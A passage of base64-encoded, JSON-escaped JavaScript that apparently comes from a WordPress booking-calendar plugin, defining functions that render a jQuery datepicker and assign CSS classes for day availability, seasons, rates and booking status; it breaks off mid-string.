0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4gKi9cclxuXHJcblxyXG4vKipcclxuICogIFNob3cgV1BCQyBDYWxlbmRhclxyXG4gKlxyXG4gKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFx0XHQtIHJlc291cmNlIElEXHJcbiAqIEByZXR1cm5zIHtib29sZWFufVxyXG4gKi9cclxuZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9zaG93KCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHQvLyBJZiBubyBjYWxlbmRhciBIVE1MIHRhZywgIHRoZW4gIGV4aXRcclxuXHRpZiAoIDAgPT09IGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkubGVuZ3RoICl7IHJldHVybiBmYWxzZTsgfVxyXG5cclxuXHQvLyBJZiB0aGUgY2FsZW5kYXIgd2l0aCB0aGUgc2FtZSBCb29raW5nIHJlc291cmNlIGlzIGFjdGl2YXRlZCBhbHJlYWR5LCB0aGVuIGV4aXQuXHJcblx0aWYgKCB0cnVlID09PSBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLmhhc0NsYXNzKCAnaGFzRGF0ZXBpY2snICkgKXsgcmV0dXJuIGZhbHNlOyB9XHJcblxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gRGF5cyBzZWxlY3Rpb25cclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdHZhciBsb2NhbF9faXNfcmFuZ2Vfc2VsZWN0ID0gZmFsc2U7XHJcblx0dmFyIGxvY2FsX19tdWx0aV9kYXlzX3NlbGVjdF9udW0gICA9IDM2NTtcdFx0XHRcdFx0Ly8gbXVsdGlwbGUgfCBmaXhlZFxyXG5cdGlmICggJ2R5bmFtaWMnID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkgKXtcclxuXHRcdGxvY2FsX19pc19yYW5nZV9zZWxlY3QgPSB0cnVlO1xyXG5cdFx0bG9jYWxfX211bHRpX2RheXNfc2VsZWN0X251bSA9IDA7XHJcblx0fVxyXG5cdGlmICggJ3NpbmdsZScgID09PSBfd3BiYy5jYWxlbmRhcl9fZ2V0X3BhcmFtX3ZhbHVlKCByZXNvdXJjZV9pZCwgJ2RheXNfc2VsZWN0X21vZGUnICkgKXtcclxuXHRcdGxvY2FsX19tdWx0aV9kYXlzX3NlbGVjdF9udW0gPSAwO1xyXG5cdH1cclxuXHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBNaW4gLSBNYXggZGF5cyB0byBzY3JvbGwvc2hvd1xyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0dmFyIGxvY2FsX19taW5fZGF0ZSA9IDA7XHJcbiBcdGxvY2FsX19taW5fZGF0ZSA9IG5ldyBEYXRlKCBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd0b2RheV9hcnInIClbIDAgXSwgKHBhcnNlSW50KCBfd3BiYy5nZXRfb3RoZXJfcGFyYW0oICd0b2RheV9hcnInIClbIDEgXSApIC0gMSksIF93cGJjLmdldF9vdGhlcl9wYXJhbSggJ3RvZGF5X2FycicgKVsgMiBdLCAwLCAwLCAwICk7XHRcdFx0Ly9GaXhJbjogOS45LjAuMTdcclxuLy9jb25zb2xlLmxvZyggbG9jYWxfX21pbl9kYXRlICk7XHJcblx0dmFyIGxvY2FsX19tYXhfZGF0ZSA9IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnYm9va2luZ19tYXhfbW9udGhlc19pbl9jYWxlbmRhcicgKTtcclxuXHQvL2xvY2FsX19tYXhfZGF0ZSA9IG5ldyBEYXRlKDIwMjQsIDUsIDI4KTsgIEl0IGlzIGhlcmUgaXNzdWUgb2Ygbm90IHNlbGVjdGFibGUgZGF0ZXMsIGJ1dCBzb21lIGRhdGVzIHNob3dpbmcgaW4gY2FsZW5kYXIgYXMgYXZhaWxhYmxlLCBidXQgd2UgY2FuIG5vdCBzZWxlY3QgaXQuXHJcblxyXG5cdC8vLy8gRGVmaW5lIGxhc3QgZGF5IGluIGNhbGVuZGFyIChhcyBhIGxhc3QgZGF5IG9mIG1vbnRoIChhbmQgbm90IGRhdGUsIHdoaWNoIGlzIHJlbGF0ZWQgdG8gYWN0dWFsICdUb2RheScgZGF0ZSkuXHJcblx0Ly8vLyBFLmcuIGlmIHRvZGF5IGlzIDIwMjMtMDktMjUsIGFuZCB3ZSBzZXQgJ051bWJlciBvZiBtb250aHMgdG8gc2Nyb2xsJyBhcyA1IG1vbnRocywgdGhlbiBsYXN0IGRheSB3aWxsIGJlIDIwMjQtMDItMjkgYW5kIG5vdCB0aGUgMjAyNC0wMi0yNS5cclxuXHQvLyB2YXIgY2FsX2xhc3RfZGF5X2luX21vbnRoID0galF1ZXJ5LmRhdGVwaWNrLl9kZXRlcm1pbmVEYXRlKCBudWxsLCBsb2NhbF9fbWF4X2RhdGUsIG5ldyBEYXRlKCkgKTtcclxuXHQvLyBjYWxfbGFzdF9kYXlfaW5fbW9udGggPSBuZXcgRGF0ZSggY2FsX2xhc3RfZGF5X2luX21vbnRoLmdldEZ1bGxZZWFyKCksIGNhbF9sYXN0X2RheV9pbl9tb250aC5nZXRNb250aCgpICsgMSwgMCApO1xyXG5cdC8vIGxvY2FsX19tYXhfZGF0ZSA9IGNhbF9sYXN0X2RheV9pbl9tb250aDtcdFx0XHQvL0ZpeEluOiAxMC4wLjAuMjZcclxuXHJcblx0aWYgKCAgICggbG9jYXRpb24uaHJlZi5pbmRleE9mKCdwYWdlPXdwYmMtbmV3JykgIT0gLTEgKVxyXG5cdFx0JiYgKCBsb2NhdGlvbi5ocmVmLmluZGV4T2YoJ2Jvb2tpbmdfaGFzaCcpICE9IC0xICkgICAgICAgICAgICAgICAgICAvLyBDb21tZW50IHRoaXMgbGluZSBmb3IgYWJpbGl0eSB0byBhZGQgIGJvb2tpbmcgaW4gcGFzdCBkYXlzIGF0ICBCb29raW5nID4gQWRkIGJvb2tpbmcgcGFnZS5cclxuXHRcdCl7XHJcblx0XHRsb2NhbF9fbWluX2RhdGUgPSBudWxsO1xyXG5cdFx0bG9jYWxfX21heF9kYXRlID0gbnVsbDtcclxuXHR9XHJcblxyXG5cdHZhciBsb2NhbF9fc3RhcnRfd2Vla2RheSAgICA9IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnYm9va2luZ19zdGFydF9kYXlfd2VlZWsnICk7XHJcblx0dmFyIGxvY2FsX19udW1iZXJfb2ZfbW9udGhzID0gcGFyc2VJbnQoIF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAnY2FsZW5kYXJfbnVtYmVyX29mX21vbnRocycgKSApO1xyXG5cclxuXHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnRleHQoICcnICk7XHRcdFx0XHRcdC8vIFJlbW92ZSBhbGwgSFRNTCBpbiBjYWxlbmRhciB0YWdcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdC8vIFNob3cgY2FsZW5kYXJcclxuXHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdGpRdWVyeSgnI2NhbGVuZGFyX2Jvb2tpbmcnKyByZXNvdXJjZV9pZCkuZGF0ZXBpY2soXHJcblx0XHRcdHtcclxuXHRcdFx0XHRiZWZvcmVTaG93RGF5OiBmdW5jdGlvbiAoIGpzX2RhdGUgKXtcclxuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwYmNfX2NhbGVuZGFyX19hcHBseV9jc3NfdG9fZGF5cygganNfZGF0ZSwgeydyZXNvdXJjZV9pZCc6IHJlc291cmNlX2lkfSwgdGhpcyApO1xyXG5cdFx0XHRcdFx0XHRcdCAgfSxcclxuXHRcdFx0XHRvblNlbGVjdDogZnVuY3Rpb24gKCBzdHJpbmdfZGF0ZXMsIGpzX2RhdGVzX2FyciApeyAgLyoqXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgKlx0c3RyaW5nX2RhdGVzICAgPSAgICcyMy4wOC4yMDIzIC0gMjYuMDguMjAyMycgICAgfCAgICAnMjMuMDguMjAyMyAtIDIzLjA4LjIwMjMnICAgIHwgICAgJzE5LjA5LjIwMjMsIDI0LjA4LjIwMjMsIDMwLjA5LjIwMjMnXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgKiAganNfZGF0ZXNfYXJyICAgPSAgIHJhbmdlOiBbIERhdGUgKEF1ZyAyMyAyMDIzKSwgRGF0ZSAoQXVnIDI1IDIwMjMpXSAgICAgfCAgICAgbXVsdGlwbGU6IFsgRGF0ZShPY3QgMjQgMjAyMyksIERhdGUoT2N0IDIwIDIwMjMpLCBEYXRlKE9jdCAxNiAyMDIzKSBdXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgKi9cclxuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwYmNfX2NhbGVuZGFyX19vbl9zZWxlY3RfZGF5cyggc3RyaW5nX2RhdGVzLCB7J3Jlc291cmNlX2lkJzogcmVzb3VyY2VfaWR9LCB0aGlzICk7XHJcblx0XHRcdFx0XHRcdFx0ICB9LFxyXG5cdFx0XHRcdG9uSG92ZXI6IGZ1bmN0aW9uICggc3RyaW5nX2RhdGUsIGpzX2RhdGUgKXtcclxuXHRcdFx0XHRcdFx0XHRcdFx0cmV0dXJuIHdwYmNfX2NhbGVuZGFyX19vbl9ob3Zlcl9kYXlzKCBzdHJpbmdfZGF0ZSwganNfZGF0ZSwgeydyZXNvdXJjZV9pZCc6IHJlc291cmNlX2lkfSwgdGhpcyApO1xyXG5cdFx0XHRcdFx0XHRcdCAgfSxcclxuXHRcdFx0XHRvbkNoYW5nZU1vbnRoWWVhcjogZnVuY3Rpb24gKCB5ZWFyLCByZWFsX21vbnRoLCBqc19kYXRlX18xc3RfZGF5X2luX21vbnRoICl7IH0sXHJcblx0XHRcdFx0c2hvd09uICAgICAgICA6ICdib3RoJyxcclxuXHRcdFx0XHRudW1iZXJPZk1vbnRoczogbG9jYWxfX251bWJlcl9vZl9tb250aHMsXHJcblx0XHRcdFx0c3RlcE1vbnRocyAgICA6IDEsXHJcblx0XHRcdFx0cHJldlRleHQgICAgICA6ICcmbGFxdW87JyxcclxuXHRcdFx0XHRuZXh0VGV4dCAgICAgIDogJyZyYXF1bzsnLFxyXG5cdFx0XHRcdGRhdGVGb3JtYXQgICAgOiAnZGQubW0ueXknLFxyXG5cdFx0XHRcdGNoYW5nZU1vbnRoICAgOiBmYWxzZSxcclxuXHRcdFx0XHRjaGFuZ2VZZWFyICAgIDogZmFsc2UsXHJcblx0XHRcdFx0bWluRGF0ZSAgICAgICA6IGxvY2FsX19taW5fZGF0ZSxcclxuXHRcdFx0XHRtYXhEYXRlICAgICAgIDogbG9jYWxfX21heF9kYXRlLCBcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gJzFZJyxcclxuXHRcdFx0XHQvLyBtaW5EYXRlOiBuZXcgRGF0ZSgyMDIwLCAyLCAxKSwgbWF4RGF0ZTogbmV3IERhdGUoMjAyMCwgOSwgMzEpLCAgICAgICAgICAgICBcdC8vIEFiaWxpdHkgdG8gc2V0IGFueSAgc3RhcnQgYW5kIGVuZCBkYXRlIGluIGNhbGVuZGFyXHJcblx0XHRcdFx0c2hvd1N0YXR1cyAgICAgIDogZmFsc2UsXHJcblx0XHRcdFx0bXVsdGlTZXBhcmF0b3IgIDogJywgJyxcclxuXHRcdFx0XHRjbG9zZUF0VG9wICAgICAgOiBmYWxzZSxcclxuXHRcdFx0XHRmaXJzdERheSAgICAgICAgOiBsb2NhbF9fc3RhcnRfd2Vla2RheSxcclxuXHRcdFx0XHRnb3RvQ3VycmVudCAgICAgOiBmYWxzZSxcclxuXHRcdFx0XHRoaWRlSWZOb1ByZXZOZXh0OiB0cnVlLFxyXG5cdFx0XHRcdG11bHRpU2VsZWN0ICAgICA6IGxvY2FsX19tdWx0aV9kYXlzX3NlbGVjdF9udW0sXHJcblx0XHRcdFx0cmFuZ2VTZWxlY3QgICAgIDogbG9jYWxfX2lzX3JhbmdlX3NlbGVjdCxcclxuXHRcdFx0XHQvLyBzaG93V2Vla3M6IHRydWUsXHJcblx0XHRcdFx0dXNlVGhlbWVSb2xsZXI6IGZhbHNlXHJcblx0XHRcdH1cclxuXHQpO1xyXG5cclxuXHJcblx0XHJcblx0Ly8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHQvLyBDbGVhciB0b2RheSBkYXRlIGhpZ2hsaWdodGluZ1xyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0c2V0VGltZW91dCggZnVuY3Rpb24gKCl7ICB3cGJjX2NhbGVuZGFyc19fY2xlYXJfZGF5c19oaWdobGlnaHRpbmcoIHJlc291cmNlX2lkICk7ICB9LCA1MDAgKTsgICAgICAgICAgICAgICAgICAgIFx0Ly9GaXhJbjogNy4xLjIuOFxyXG5cdFxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0Ly8gU2Nyb2xsIGNhbGVuZGFyIHRvICBzcGVjaWZpYyBtb250aFxyXG5cdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0dmFyIHN0YXJ0X2JrX21vbnRoID0gX3dwYmMuY2FsZW5kYXJfX2dldF9wYXJhbV92YWx1ZSggcmVzb3VyY2VfaWQsICdjYWxlbmRhcl9zY3JvbGxfdG8nICk7XHJcblx0aWYgKCBmYWxzZSAhPT0gc3RhcnRfYmtfbW9udGggKXtcclxuXHRcdHdwYmNfY2FsZW5kYXJfX3Njcm9sbF90byggcmVzb3VyY2VfaWQsIHN0YXJ0X2JrX21vbnRoWyAwIF0sIHN0YXJ0X2JrX21vbnRoWyAxIF0gKTtcclxuXHR9XHJcbn1cclxuXHJcblxyXG5cdC8qKlxyXG5cdCAqIEFwcGx5IENTUyB0byBjYWxlbmRhciBkYXRlIGNlbGxzXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZGF0ZVx0XHRcdFx0XHRcdFx0XHRcdFx0LSAgSmF2YVNjcmlwdCBEYXRlIE9iajogIFx0XHRNb24gRGVjIDExIDIwMjMgMDA6MDA6MDAgR01UKzAyMDAgKEVhc3Rlcm4gRXVyb3BlYW4gU3RhbmRhcmQgVGltZSlcclxuXHQgKiBAcGFyYW0gY2FsZW5kYXJfcGFyYW1zX2Fyclx0XHRcdFx0XHRcdC0gIENhbGVuZGFyIFNldHRpbmdzIE9iamVjdDogIFx0e1xyXG5cdCAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQgIFx0XHRcdFx0XHRcdFwicmVzb3VyY2VfaWRcIjogNFxyXG5cdCAqXHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0fVxyXG5cdCAqIEBwYXJhbSBkYXRlcGlja190aGlzXHRcdFx0XHRcdFx0XHRcdC0gdGhpcyBvZiBkYXRlcGljayBPYmpcclxuXHQgKiBAcmV0dXJucyB7KCp8c3RyaW5nKVtdfChib29sZWFufHN0cmluZylbXX1cdFx0LSBbIHt0cnVlIC1hdmFpbGFibGUgfCBmYWxzZSAtIHVuYXZhaWxhYmxlfSwgJ0NTUyBjbGFzc2VzIGZvciBjYWxlbmRhciBkYXkgY2VsbCcgXVxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfX2NhbGVuZGFyX19hcHBseV9jc3NfdG9fZGF5cyggZGF0ZSwgY2FsZW5kYXJfcGFyYW1zX2FyciwgZGF0ZXBpY2tfdGhpcyApe1xyXG5cclxuXHRcdHZhciB0b2RheV9kYXRlID0gbmV3IERhdGUoIF93cGJjLmdldF9vdGhlcl9wYXJhbSggJ3RvZGF5X2FycicgKVsgMCBdLCAocGFyc2VJbnQoIF93cGJjLmdldF9vdGhlcl9wYXJhbSggJ3RvZGF5X2FycicgKVsgMSBdICkgLSAxKSwgX3dwYmMuZ2V0X290aGVyX3BhcmFtKCAndG9kYXlfYXJyJyApWyAyIF0sIDAsIDAsIDAgKTtcdFx0XHRcdFx0XHRcdFx0Ly8gVG9kYXkgSlNfRGF0ZV9PYmouXHJcblx0XHR2YXIgY2xhc3NfZGF5ICAgICA9IHdwYmNfX2dldF9fdGRfY2xhc3NfZGF0ZSggZGF0ZSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICcxLTktMjAyMydcclxuXHRcdHZhciBzcWxfY2xhc3NfZGF5ID0gd3BiY19fZ2V0X19zcWxfY2xhc3NfZGF0ZSggZGF0ZSApO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdC8vICcyMDIzLTAxLTA5J1xyXG5cdFx0dmFyIHJlc291cmNlX2lkID0gKCAndW5kZWZpbmVkJyAhPT0gdHlwZW9mKGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSkgKSA/IGNhbGVuZGFyX3BhcmFtc19hcnJbICdyZXNvdXJjZV9pZCcgXSA6ICcxJzsgXHRcdC8vICcxJ1xyXG5cclxuXHRcdC8vIEdldCBEYXRhIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHR2YXIgZGF0ZV9ib29raW5nc19vYmogPSBfd3BiYy5ib29raW5nc19pbl9jYWxlbmRhcl9fZ2V0X2Zvcl9kYXRlKCByZXNvdXJjZV9pZCwgc3FsX2NsYXNzX2RheSApO1xyXG5cclxuXHJcblx0XHQvLyBBcnJheSB3aXRoIENTUyBjbGFzc2VzIGZvciBkYXRlIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIGNzc19jbGFzc2VzX19mb3JfZGF0ZSA9IFtdO1xyXG5cdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdzcWxfZGF0ZV8nICAgICArIHNxbF9jbGFzc19kYXkgKTtcdFx0XHRcdC8vICAnc3FsX2RhdGVfMjAyMy0wNy0yMSdcclxuXHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnY2FsNGRhdGUtJyAgICAgKyBjbGFzc19kYXkgKTtcdFx0XHRcdFx0Ly8gICdjYWw0ZGF0ZS03LTIxLTIwMjMnXHJcblx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3dwYmNfd2Vla2RheV8nICsgZGF0ZS5nZXREYXkoKSApO1x0XHRcdFx0Ly8gICd3cGJjX3dlZWtkYXlfNCdcclxuXHJcblx0XHR2YXIgaXNfZGF5X3NlbGVjdGFibGUgPSBmYWxzZTtcclxuXHJcblx0XHQvLyBJZiBzb21ldGhpbmcgbm90IGRlZmluZWQsICB0aGVuICB0aGlzIGRhdGUgY2xvc2VkIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cdFx0aWYgKCBmYWxzZSA9PT0gZGF0ZV9ib29raW5nc19vYmogKXtcclxuXHJcblx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJyApO1xyXG5cclxuXHRcdFx0cmV0dXJuIFsgaXNfZGF5X3NlbGVjdGFibGUsIGNzc19jbGFzc2VzX19mb3JfZGF0ZS5qb2luKCcgJykgIF07XHJcblx0XHR9XHJcblxyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHQvLyAgIGRhdGVfYm9va2luZ3Nfb2JqICAtIERlZmluZWQuICAgICAgICAgICAgRGF0ZXMgY2FuIGJlIHNlbGVjdGFibGUuXHJcblx0XHQvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHQvLyBBZGQgc2Vhc29uIG5hbWVzIHRvIHRoZSBkYXkgQ1NTIGNsYXNzZXMgLS0gaXQgaXMgcmVxdWlyZWQgZm9yIGNvcnJlY3QgIHdvcmsgIG9mIGNvbmRpdGlvbmFsIGZpZWxkcyAtLS0tLS0tLS0tLS0tLVxyXG5cdFx0dmFyIHNlYXNvbl9uYW1lc19hcnIgPSBfd3BiYy5zZWFzb25zX19nZXRfZm9yX2RhdGUoIHJlc291cmNlX2lkLCBzcWxfY2xhc3NfZGF5ICk7XHJcblxyXG5cdFx0Zm9yICggdmFyIHNlYXNvbl9rZXkgaW4gc2Vhc29uX25hbWVzX2FyciApe1xyXG5cclxuXHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goIHNlYXNvbl9uYW1lc19hcnJbIHNlYXNvbl9rZXkgXSApO1x0XHRcdFx0Ly8gICd3cGRldmJrX3NlYXNvbl9zZXB0ZW1iZXJfMjAyMydcclxuXHRcdH1cclxuXHRcdC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblxyXG5cclxuXHRcdC8vIENvc3QgUmF0ZSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcblx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ3JhdGVfJyArIGRhdGVfYm9va2luZ3Nfb2JqWyByZXNvdXJjZV9pZCBdWyAnZGF0ZV9jb3N0X3JhdGUnIF0udG9TdHJpbmcoKS5yZXBsYWNlKCAvW1xcLlxcc10vZywgJ18nICkgKTtcdFx0XHRcdFx0XHQvLyAgJ3JhdGVfOTlfMDAnIC0+IDk5LjAwXHJcblxyXG5cclxuXHRcdGlmICggcGFyc2VJbnQoIGRhdGVfYm9va2luZ3Nfb2JqWyAnZGF5X2F2YWlsYWJpbGl0eScgXSApID4gMCApe1xyXG5cdFx0XHRpc19kYXlfc2VsZWN0YWJsZSA9IHRydWU7XHJcblx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV9hdmFpbGFibGUnICk7XHJcblx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAncmVzZXJ2ZWRfZGF5c19jb3VudCcgKyBwYXJzZUludCggZGF0ZV9ib29raW5nc19vYmpbICdtYXhfY2FwYWNpdHknIF0gLSBkYXRlX2Jvb2tpbmdzX29ialsgJ2RheV9hdmFpbGFiaWxpdHknIF0gKSApO1xyXG5cdFx0fSBlbHNlIHtcclxuXHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSBmYWxzZTtcclxuXHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICdkYXRlX3VzZXJfdW5hdmFpbGFibGUnICk7XHJcblx0XHR9XHJcblxyXG5cclxuXHRcdHN3aXRjaCAoIGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheScgXSApe1xyXG5cclxuXHRcdFx0Y2FzZSAnYXZhaWxhYmxlJzpcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ3RpbWVfc2xvdHNfYm9va2luZyc6XHJcblx0XHRcdFx0Y3NzX2NsYXNzZXNfX2Zvcl9kYXRlLnB1c2goICd0aW1lc3BhcnRseScsICd0aW1lc19jbG9jaycgKTtcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ2Z1bGxfZGF5X2Jvb2tpbmcnOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZnVsbF9kYXlfYm9va2luZycgKTtcclxuXHRcdFx0XHRicmVhaztcclxuXHJcblx0XHRcdGNhc2UgJ3NlYXNvbl9maWx0ZXInOlxyXG5cdFx0XHRcdGNzc19jbGFzc2VzX19mb3JfZGF0ZS5wdXNoKCAnZGF0ZV91c2VyX3VuYXZhaWxhYmxlJywgJ3NlYXNvbl91bmF2YWlsYWJsZScgKTtcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcnknXVsnc3RhdHVzX2Zvcl9ib29raW5ncycgXSA9ICcnO1x0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHQvLyBSZXNldCBib29raW5nIHN0YXR1cyBjb2xvciBmb3IgcG9zc2libGUgb2xkIGJvb2tpbmdzIG9uIHRoaXMgZGF0ZVxyXG5cdFx0XHRcdGJyZWFrO1xyXG5cclxuXHRcdFx0Y2FzZSAncmVzb3VyY2VfYXZhaWxhYmlsaXR5JzpcclxuXHRcdFx0XHRjc3NfY2xhc3Nlc19fZm9yX2RhdGUucHVzaCggJ2RhdGVfdXNlcl91bmF2YWlsYWJsZScsICdyZXNvdXJjZV91bmF2YWlsYWJsZScgKTtcclxuXHRcdFx0XHRkYXRlX2Jvb2tpbmdzX29ialsgJ3N1bW1hcn